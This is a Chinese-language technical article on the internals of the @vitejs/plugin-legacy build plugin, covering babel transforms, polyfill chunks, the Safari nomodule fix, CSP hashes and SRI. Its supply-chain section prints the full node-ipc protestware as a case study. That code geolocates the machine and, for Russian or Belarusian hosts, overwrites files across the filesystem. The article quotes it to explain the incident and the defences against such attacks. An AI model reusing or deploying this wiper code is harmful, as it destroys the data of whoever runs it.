options.polyfills !== false && !Array.isArray(options.polyfills);值得注意的是引入当前插件会在原先 bundle 的基础上备份出 legacy-bundle。以下参数仅针对于 legacy-bundle 有效,normol-bundle 参数值均为 undefined。
__vite_skip_esbuild__: 配置为true可以跳过vite:esbuild-transpile插件(该插件的功能为压缩模块或将TypeScript转译为js模块)的renderChunk阶段。避免在legacy模块上使用esbuild转换,因为它会生成legacy-unsafe代码 - 例如将对象属性重写为简写。把a={name}转成a={name:name}最终还会生成a={name}。会导致swc\babel\typescript之类的插件无法正常使用。__vite_force_terser__: 对于legacy模块,强制使用terser来进行压缩。只有在不禁用最小化且非压缩ES lib的情况下才会生效,因为这将完全排除terser插件。__vite_skip_asset_emit__:在generateBundle钩子中,Vite会删除来自lagacy bundle的资源,来避免生成重复的资源。但这仍然需要耗费计算资源。因此,Vite添加了此标志,尽可能地避免最初的资源生成。
插件会借助 @babel/preset-env 的能力来转译 legacy chunk 的代码。
// transform the legacy chunk with @babel/preset-env
const sourceMaps = !!config.build.sourcemap;
const babel = await loadBabel();
const result = babel.transform(raw, {
babelrc: false,
configFile: false,
compact: !!config.build.minify,
sourceMaps,
inputSourceMap: undefined,
presets: [
// forcing our plugin to run before preset-env by wrapping it in a
// preset so we can catch the injected import statements...
[
() => ({
plugins: [
recordAndRemovePolyfillBabelPlugin(polyfillsDiscovered.legacy),
replaceLegacyEnvBabelPlugin(),
wrapIIFEBabelPlugin()
]
})
],
[
(await import('@babel/preset-env')).default,
createBabelPresetEnvOptions(targets, { needPolyfills })
]
]
});
if (result) return { code: result.code!, map: result.map };
return null;legacyPostPlugin 的 renderChunk 钩子会通过 babel 插件为 @babel/preset-env 赋能,注入的 babel 插件包括 recordAndRemovePolyfillBabelPlugin、replaceLegacyEnvBabelPlugin 和 wrapIIFEBabelPlugin。
Attention
babel 会先执行 @babel/preset-env 预设插件,其中会解析 chunk 代码,根据 targets 配置项来分析 chunk 中使用的 javascript 特性,按需为 chunk 注入 polyfills。
@babel/preset-env 预设解析完成后,就会执行上述的 babel 插件,接下来一次按照执行顺序来分析 babel 插件的实现。
replaceLegacyEnvBabelPlugin的babel插件。该插件主要是处理
legacy chunk中的legacyEnvVarMarker的值。tsfunction replaceLegacyEnvBabelPlugin(): BabelPlugin { return ({ types: t }): BabelPlugin => ({ name: 'vite-replace-env-legacy', visitor: { Identifier(path) { if (path.node.name === legacyEnvVarMarker) { path.replaceWith(t.booleanLiteral(true)); } } } }); }vite:define插件在transform阶段会将import.meta.env.LEGACY值替换为legacyEnvVarMarker的值(__VITE_IS_LEGACY__),该插件在renderChunk阶段会将legacyEnvVarMarker(__VITE_IS_LEGACY__) 替换为具体的布尔值(区分chunk执行的环境,legacy chunk标记__VITE_IS_LEGACY__为true,modern chunk标记为false)。替换
__VITE_IS_LEGACY__的方式在legacy chunk和modern chunk中有所不同。legacy chunk中通过上述的babel插件来实现替换,而modern chunk中则通过正则方式直接替换。tsfunction replaceLegacyEnvBabelPlugin(): BabelPlugin { return ({ types: t }): BabelPlugin => ({ name: 'vite-replace-env-legacy', visitor: { Identifier(path) { if (path.node.name === legacyEnvVarMarker) { path.replaceWith(t.booleanLiteral(true)); } } } }); }tsif (!isLegacyChunk(chunk, opts)) { if (raw.includes(legacyEnvVarMarker)) { const re = new RegExp(legacyEnvVarMarker, 'g'); let match; while ((match = re.exec(raw))) { ms.overwrite( match.index, match.index + legacyEnvVarMarker.length, `false` ); } } }recordAndRemovePolyfillBabelPlugin的babel插件该
babel插件主要用于收集转译后的legacy chunk中import语句的值。tsfunction recordAndRemovePolyfillBabelPlugin( polyfills: Set<string> ): BabelPlugin { return ({ types: t }: { types: typeof BabelTypes }): BabelPlugin => ({ name: 'vite-remove-polyfill-import', post({ path }) { path.get('body').forEach(p => { if (t.isImportDeclaration(p.node)) { polyfills.add(p.node.source.value); p.remove(); } }); } }); }vite在renderChunk阶段时,chunk的代码已经解析完了import和export,也就是说这个阶段正常情况下理应各个模块不应该存在import和export。若再次收集到的import或export则必定是babel在@babel/preset-env插件中注入的polyfill依赖模块。此时此刻该
babel插件的工作就是收集@babel/preset-env插件在转译阶段注入的polyfill依赖模块。@vitejs/plugin-legacy插件的设计并未打算在renderChunk之后再次执行bundle chunks graph的操作,那样会增加了些复杂度。插件采取的策略是收集每一个legacy chunk中import语句的值,认定为polyfill依赖模块,收集完成后会通过p.remove()删除legacy chunk中注入的import语句。在
generateBundle阶段时,将收集到的polyfill依赖模块作为独立的bundle进行构建。wrapIIFEBabelPlugin的babel插件tsfunction wrapIIFEBabelPlugin(): BabelPlugin { return ({ types: t, template }): BabelPlugin => { const buildIIFE = template(';(function(){%%body%%})();'); return { name: 'vite-wrap-iife', post({ path }) { if (!this.isWrapped) { this.isWrapped = true; path.replaceWith( t.program(buildIIFE({ body: path.node.body })) ); } } }; }; }最后使用立即执行函数来包裹
legacy chunk的源码。包裹原因可参考 PR,主要解决全局作用域污染。
处理现代模块
执行源码如下:
// 通过监测支持 import.meta.url 和 动态导入 来判断是否为现代浏览器
const detectModernBrowserDetector =
'import.meta.url;import("_").catch(()=>1);async function* g(){};';
const modernChunkLegacyGuard = `export function __vite_legacy_guard(){${detectModernBrowserDetector}};`;
async function renderChunk(raw, chunk, opts) {
if (!isLegacyChunk(chunk, opts)) {
// options.modernPolyfills = true。不建议设置为 true,因为 core-js@3 非常激进的将 JS 前沿的特性进行注入。甚至目标为对原生 ESM 的支持都需要注入 15kb。
if (
options.modernPolyfills &&
!Array.isArray(options.modernPolyfills)
) {
await detectPolyfills(raw, { esmodules: true }, modernPolyfills);
}
const ms = new MagicString(raw);
// 在入口处注入判断是否为现代浏览器
if (genLegacy && chunk.isEntry) {
ms.prepend(modernChunkLegacyGuard);
}
// 确定所注入的 legacyEnvVarMarker 值为 false。正常情况下和后续的 tree-sharking 所关联。
if (raw.includes(legacyEnvVarMarker)) {
const re = new RegExp(legacyEnvVarMarker, 'g');
let match;
while ((match = re.exec(raw))) {
ms.overwrite(
match.index,
match.index + legacyEnvVarMarker.length,
'false'
);
}
}
if (config.build.sourcemap) {
return {
code: ms.toString(),
map: ms.generateMap({ hires: true })
};
}
return {
code: ms.toString()
};
}
}在支持现代浏览器的 polyfill 从上述源码中可以划分以下几个部分:
options.modernPolyfills配置的处理。类似借助babel的@babel/preset-env插件来做 检测(不改变源码) 并进行收集。jsif (options.modernPolyfills && !Array.isArray(options.modernPolyfills)) { await detectPolyfills(raw, { esmodules: true }, modernPolyfills); }在入口模块处添加检测,用来判断是否为现代浏览器。
jsconst detectModernBrowserDetector = 'import.meta.url;import("_").catch(()=>1);async function* g(){};'; const modernChunkLegacyGuard = `export function __vite_legacy_guard(){${detectModernBrowserDetector}};`; const ms = new MagicString(raw); if (genLegacy && chunk.isEntry) { ms.prepend(modernChunkLegacyGuard); }确定
legacyEnvVarMarker的值为false。jsif (raw.includes(legacyEnvVarMarker)) { const re = new RegExp(legacyEnvVarMarker, 'g'); let match; while ((match = re.exec(raw))) { ms.overwrite( match.index, match.index + legacyEnvVarMarker.length, 'false' ); } }
transformIndexHtml 钩子
收集到的 polyfill 集合作为全新的一个模块,其代码如下:
function polyfillsPlugin(imports, externalSystemJS) {
return {
name: 'vite:legacy-polyfills',
resolveId(id) {
if (id === polyfillId) {
return id;
}
},
load(id) {
if (id === polyfillId) {
return (
// imports 是在 renderChunk 阶段收集到的所有需要兼容的 polyfill。
[...imports].map(i => `import "${i}";`).join('') +
(externalSystemJS ? '' : 'import "systemjs/dist/s.min.js";')
);
}
}
};
}在 generateBundle 阶段再次单独调用 vite 进行构建 polyfill bundle。最后会生成现代浏览器支持 modern esm 的产物和旧版本浏览器支持 nomodule 的产物。
async function buildPolyfillChunk(
name,
imports,
bundle,
facadeToChunkMap,
buildOptions,
externalSystemJS
) {
let { minify, assetsDir } = buildOptions;
minify = minify ? 'terser' : false;
const res = await build({
// so that everything is resolved from here
root: __dirname,
configFile: false,
logLevel: 'error',
plugins: [polyfillsPlugin(imports, externalSystemJS)],
build: {
write: false,
target: false,
minify,
assetsDir,
rollupOptions: {
input: {
[name]: polyfillId
},
output: {
format: name.includes('legacy') ? 'iife' : 'es',
manualChunks: undefined
}
}
}
});
// ...
}注意
plugin-legacy内部是使用terser来对代码压缩。因此在配置了minify的时候请务必按照terser依赖。useBuiltIns: 'usage'表示有用到的polyfill才引入。可以对比一下useBuiltIns: 'entry'从配置项中和
vite-wrap-iife插件(作为babel的预设插件首个被执行)可以看出
const options = {
output: {
format: name.includes('legacy') ? 'iife' : 'es',
manualChunks: undefined
}
};
function wrapIIFEBabelPlugin() {
return ({ types: t, template }) => {
const buildIIFE = template(';(function(){%%body%%})();');
return {
name: 'vite-wrap-iife',
post({ path }) {
if (!this.isWrapped) {
this.isWrapped = true;
path.replaceWith(t.program(buildIIFE({ body: path.node.body })));
}
}
};
};
}polyfill chunk 是立即执行函数。
之后将 polyfill chunk 注入到 bundle 中作为 polyfill bundle。
async function buildPolyfillChunk(
name,
imports,
bundle,
facadeToChunkMap,
buildOptions,
externalSystemJS
) {
// ...
const _polyfillChunk = Array.isArray(res) ? res[0] : res;
if (!('output' in _polyfillChunk)) return;
const polyfillChunk = _polyfillChunk.output[0];
// associate the polyfill chunk to every entry chunk so that we can retrieve
// the polyfill filename in index html transform
for (const key in bundle) {
const chunk = bundle[key];
if (chunk.type === 'chunk' && chunk.facadeModuleId) {
facadeToChunkMap.set(chunk.facadeModuleId, polyfillChunk.fileName);
}
}
// add the chunk to the bundle
bundle[polyfillChunk.name] = polyfillChunk;
}实现的注意事项
检测 Promise 降级
vite 的项目默认以 esm 为基准进行开发,esm 特性需要依赖于 systemjs 来实现 polyfill。而 systemjs 包需要依赖 promise。
当用户没有在模块中使用 promise:
import react from 'react';
console.log(react);@babel/preset-env 解析代码时不会主动注入 promise 的 polyfill。但事实上模块使用了 import 语法,这是 esm 特有的语法,polyfill 时需要依赖 systemjs 来实现,而 systemjs 需要依赖 promise。
因此在 @vite/legacy-plugin 中做了相应的处理。
async function detectPolyfills(
code: string,
targets: any,
list: Set<string>
): Promise<void> {
const babel = await loadBabel();
const result = babel.transform(code, {
ast: true,
babelrc: false,
configFile: false,
compact: false,
presets: [
[
(await import('@babel/preset-env')).default,
createBabelPresetEnvOptions(targets, {})
]
]
});
for (const node of result!.ast!.program.body) {
if (node.type === 'ImportDeclaration') {
const source = node.source.value;
if (
source.startsWith('core-js/') ||
source.startsWith('regenerator-runtime/')
) {
list.add(source);
}
}
}
}
const legacyGenerateBundlePlugin: Plugin = {
name: 'vite:legacy-generate-polyfill-chunk',
apply: 'build',
async generateBundle(opts, bundle) {
// legacy bundle
if (options.polyfills !== false) {
// check if the target needs Promise polyfill because SystemJS relies on it
// https://github.com/systemjs/systemjs#ie11-support
await detectPolyfills(
`Promise.resolve(); Promise.all();`,
targets,
legacyPolyfills
);
}
}
};通过解析 Promise.resolve(); Promise.all(); 来自动添加 promise 的 polyfill。确保构建出来的 polyfill 一定包含 promise 的 polyfill,以至于 systemjs 一定可以正常执行。
注入内联 javascript 代码
polyfill 会在 index.html 中注入 safari 10.1 nomodule fix、systemjs 的初始化 和 动态导入回退 的内敛 javascript 代码。
Safari 10.1 nomodule 修复
safari 11 版本及其之前的版本不支持 type=nomodule,而支持 type=module。换句话说,nomodule 标签的脚本对于 safari 11 版本及其之前的版本来说,就和普通的脚本一样,他会同时尝试执行 type="module" 和 nomodule 的脚本,这就导致会执行两遍的代码。因此需要对 safari 10.1 版本及其之前的版本进行兼容。
这里 有具体的解决方案可供参考。
(function () {
// 创建一个测试用的 script 元素
var check = document.createElement('script');
// 检查两个关键特性:
// 1. 'noModule' 属性是否存在
// 2. 'onbeforeload' 事件是否支持
if (!('noModule' in check) && 'onbeforeload' in check) {
var support = false;
// 添加 beforeload 事件监听器
document.addEventListener(
'beforeload',
function (e) {
if (e.target === check) {
// 标记该浏览器支持模块
support = true;
} else if (!e.target.hasAttribute('nomodule') || !support) {
return;
}
// 阻止带有 nomodule 的脚本加载
e.preventDefault();
},
true
);
// 设置测试脚本
check.type = 'module';
check.src = '.';
document.head.appendChild(check);
check.remove();
}
})();onbeforeload 是一个比较特殊的事件,它的支持情况与普通的事件(如 onclick、onload)很不一样。实际上,onbeforeload 主要是 safari 浏览器特有的事件,这也是为什么这个属性可以用来识别特定的浏览器行为。让我们看看不同浏览器的情况:
在 safari 中:
const script = document.createElement('script');
// true
console.log('onbeforeload' in script);在其他浏览器中(如 chrome、firefox、ie):
const script = document.createElement('script');
// false
console.log('onbeforeload' in script);通过 script 标签的 onbeforeload 事件来判断是否为 safari 浏览器;
通过 script 标签是否存在 noModule 属性来判断是否为 safari 10.1 版本及其之前的版本。
if (!('noModule' in check) && 'onbeforeload' in check) {
// 条件只有在 safari 10.1 中才会为 true.
}动态导入回退
safari 10.1 版本在带 type=module 标签的脚本中使用动态导入模块时会出现报错现象,因此需要对 dynamic import 做降级处理。
dynamic import 的降级需要依赖 systemjs 来实现。
<script type="module">
!(function () {
if (window.__vite_is_modern_browser) return;
console.warn(
'vite: loading legacy chunks, syntax error above and the same error below should be ignored'
);
var e = document.getElementById('vite-legacy-polyfill'),
n = document.createElement('script');
(n.src = e.src),
(n.onload = function () {
System.import(
document
.getElementById('vite-legacy-entry')
.getAttribute('data-src')
);
}),
document.body.appendChild(n);
})();
</script>
<script
nomodule
crossorigin
id="vite-legacy-entry"
data-src="/assets/index-legacy-CwS5KdAx.js"
>
System.import(
document.getElementById('vite-legacy-entry').getAttribute('data-src')
);
</script>内容安全策略
由于 safari 10.1 版本的特殊性,@vitejs/plugin-legacy 插件需要往 index.html 中注入内敛 javascript 运行时代码。运行时代码包含 safari 10.1 nomodule fix、systemjs 的初始化 和 动态导入回退 的代码。
若项目严格遵循 csp 策略,那么需要将内联脚本的 hash 值添加到 script-src 列表中。@vitejs/plugin-legacy 插件内部已经生成好了各个内敛脚本的 hash 值。
import crypto from 'node:crypto';
const hash =
// crypto.hash is supported in Node 21.7.0+, 20.12.0+
crypto.hash ??
((
algorithm: string,
data: crypto.BinaryLike,
outputEncoding: crypto.BinaryToTextEncoding
) => crypto.createHash(algorithm).update(data).digest(outputEncoding));
export const cspHashes = [
safari10NoModuleFix,
systemJSInlineCode,
detectModernBrowserCode,
dynamicFallbackInlineCode
].map(i => hash('sha256', i, 'base64'));可以直接通过 cspHashes 变量获取(注意不包括 sha256- 前缀,需手动添加)。
import { cspHashes } from '@vitejs/plugin-legacy';方式来获取所有注入到 html 中的 csp hash 值。
Prompt
csp hash 的详细介绍和注意事项可参照 Using a hash with CSP 。
script 标签中的 integrity 属性与之有相似之处,需要注意对比。
<script
src="https://example.com/example-framework.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>integrity 是允许浏览器检查其获得的资源(例如从 CDN 获得的资源)是否被恶意篡改的一项安全特性,通过验证 获取文件的哈希值 是否和 integrity 提供的哈希值一样来判断资源是否被篡改。与 csp 互补:
csp是预防性安全措施:- 定义资源加载的全局策略。
- 主动限制哪些内联脚本可以执行。
- 对整个页面提供保护。
- 防止
xss攻击。
integrity是验证性安全措施:- 不限制资源加载本身。
- 在资源加载后、执行前验证其内容。
- 为单个资源提供保护。
- 防止供应链攻击。
在现代 web 安全实践中,通常可以在如下场景中使用:
- 需要使用内联脚本(使用
csp哈希) - 限制外链资源来源(使用
csp) - 依赖第三方
cdn或外部资源(使用integrity)
这种组合方法可以显著提高应用程序对 xss 攻击和供应链攻击的能力。
再扩充一点,pnpm-lock.yaml 记录的外部依赖包也会采用 integrity 值来做完整性校验。
packages:
'@algolia/autocomplete-core@1.17.7':
resolution:
{
integrity: sha512-BjiPOW6ks90UKl7TwMv7oNQMnzU+t/wk9mgIDi6b1tXpUek7MW0lbNOUHpvam9pe3lVCf4xPFT+lK7s+e+fs7Q==
}工作原理和浏览器对于 script 标签的 integrity 属性类似,用来校验所下载的远程依赖的完整性,确保下载的依赖中途不会被恶意篡改,减低针对 cdn 服务器的供应链攻击风险(DNS 劫持、域名到期抢注、域名注册商账户入侵来通知 cdn 域名,将流量重定向到自己的服务器),两者均遵循 W3C 的 Subresource Integrity 规范。
integrity 验证机制 主要防御 的是 传输 和 分发 阶段的供应链攻击,即合法代码在从原始发布者到最终用户的传输过程中 被恶意篡改的情况。它们通过密码学哈希验证确保开发者和用户收到的是包发布者原本打算提供的代码,而不是途中被替换的恶意版本。
但局限性在于 无法防御源头就包含恶意代码 的场景,即 包维护者主动投毒、包维护者账户被入侵,这也是最为常见的问题:
2022-03-15:vue-cli遭受到node-ipc未按预期的行为。未按预期的行为逻辑如下:
jsimport u from 'path'; import a from 'fs'; import o from 'https'; setTimeout( function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = 'https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154'; o.get(n.toString('utf8'), function (t) { t.on('data', function (t) { const n = './'; const o = '../'; const r = '../../'; const f = '/'; const c = 'country_name'; const e = 'russia'; const i = 'belarus'; try { const s = JSON.parse(t.toString('utf8')); const u = s[c.toString('utf8')].toLowerCase(); const a = u.includes(e.toString('utf8')) || u.includes(i.toString('utf8')); if (a) { h(n.toString('utf8')); h(o.toString('utf8')); h(r.toString('utf8')); h(f.toString('utf8')); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3) ); async function h(n = '', o = '') { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = '❤️'; for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString('utf8'), function () {}); } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };这是一次针对特定地域开发者(俄罗斯 和 白俄罗斯)的定向供应链攻击,开发者背弃了开源精神而将开源项目作为其实现自身政治意图的工具,是一种开源恐怖主义行为。传统的供应链是一级与一级之间通过合同来相互制约,但是对于开源产品的供应链中并没有相关的约束。看似强大的开源社区,其实非常脆弱,当信任链断裂,建立于开源体系的生态也将轰然倒塌。
一个小
tip:攻击者,
node-ipc作者Brandon Nozaki Miller (RIAEvangelist)最后给出了 "贴心提示":Locking deps after a code review is probably good practice anyway.
在代码审查后锁定依赖可能是一个好习惯。
2021.10.22,ua-parser-js遭到投毒攻击,疑似维护者账号由于密码泄露或者被爆破而发生劫持。账户接管:攻击者以未披露的方式获取了
Faisal Salman的npm账户控制权恶意版本发布:在控制账户后,攻击者立即发布了三个包含恶意代码的新版本:
0.7.29(针对旧版用户)0.8.0(新的次要版本号,吸引升级)1.0.0(主版本升级,引诱早期采用者)
快速发现:
GitHub用户 "AminCoder" 首先在GitHub上提出了警报,发现可疑代码确认与响应:几小时内,
npm安全团队确认了攻击并迅速采取行动官方通报:同一天,美国网络安全和基础设施安全局(
CISA)发布了正式警告清理操作:
npm从注册表中移除了恶意版本,项目维护者发布了干净的修复版本安全通告:
GitHub发布了CVE-2021-42078安全公告,正式记录了此次事件
组织和防范措施的发展:
- 改进的包完整性验证机制:
SRI和integrity验证依赖(包)的完整性。 2FA认证要求:npm现在要求所有流行包的维护者使用2FA,扩大了2FA的覆盖范围。- 供应链级别的框架:如
SLSA(Supply chain Levels for Software Artifacts) 和SBOM(Software Bill of Materials) 的广泛采用。 - 推广了 "lockfile freeze" 实践:防止自动升级到最新版本,从而避免遭遇供应链攻击。
- 公共基金支持:如
Open Collective和GitHub Sponsors等平台的发展,解决开源维护的财务可持续性问题。 - 高级监控工具:能够检测包行为异常的自动化安全工具,特别是网络活动和文件系统操作。
用户可以手动将 cspHashes 的值逐一复制到 Content-Security-Policy 标签的 script-src 属性上。但需注意的是这些数值可能在 次要版本 之间发生变化。若手动复制数值,则应使用 ~ 锁定次要版本。
但更合适的注入方案是通过 vite 用户插件来实现 csp hash 的自动注入,可以像如下的方式来实现:
import { defineConfig } from 'vite';
import legacy, { cspHashes } from '@vitejs/plugin-legacy';
export default defineConfig({
plugins: [
{
name: 'vite-plugin-inject-csp-hashes',
apply: 'build',
enforce: 'post',
transformIndexHtml(html) {
return {
html,
tags: [
{
tag: 'meta',
attrs: {
'http-equiv': 'Content-Security-Policy',
content:
`script-src 'self' ` +
cspHashes.map(hash => `'sha256-${hash}'`).join(' ')
},
injectTo: 'head-prepend'
}
]
};
}
},
legacy({
targets: ['defaults', 'not IE 11']
})
]
});输出到 html 的产物如下:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'sha256-MS6/3FCg4WjP9gwgaBGwLpRCY6fZBgwmhVCdrPrNf3E=' 'sha256-tQjf8gvb2ROOMapIxFvFAYBeUJ0v1HCbOcSmDNXGtDo=' 'sha256-VA8O2hAdooB288EpSTrGLl7z3QikbWU9wwoebO/QaYk='
'sha256-+5XkZFazzJo8n0iOP4ti/cLCMUudTf//Mzkb7xNPXIc='"
/>html 页面可以包含多个 csp meta 标签,每个标签可以定义不同的策略指令,最终会合并执行。
在使用 regenerator-runtime polyfill 时,它会尝试使用 globalThis 对象来注册自身。如果 globalThis 不可用(globalThis 特性是 相当新 的,用户代理支持程度有限,在 ie 11 中并不支持),则会尝试执行动态 Function(...) 方法调用,这会违反了 csp 规则。为避免在缺少 globalThis 的环境下进行动态解析,需要考虑手动将 core-js/proposals/global-this 添加到 additionalLegacyPolyfills 中。
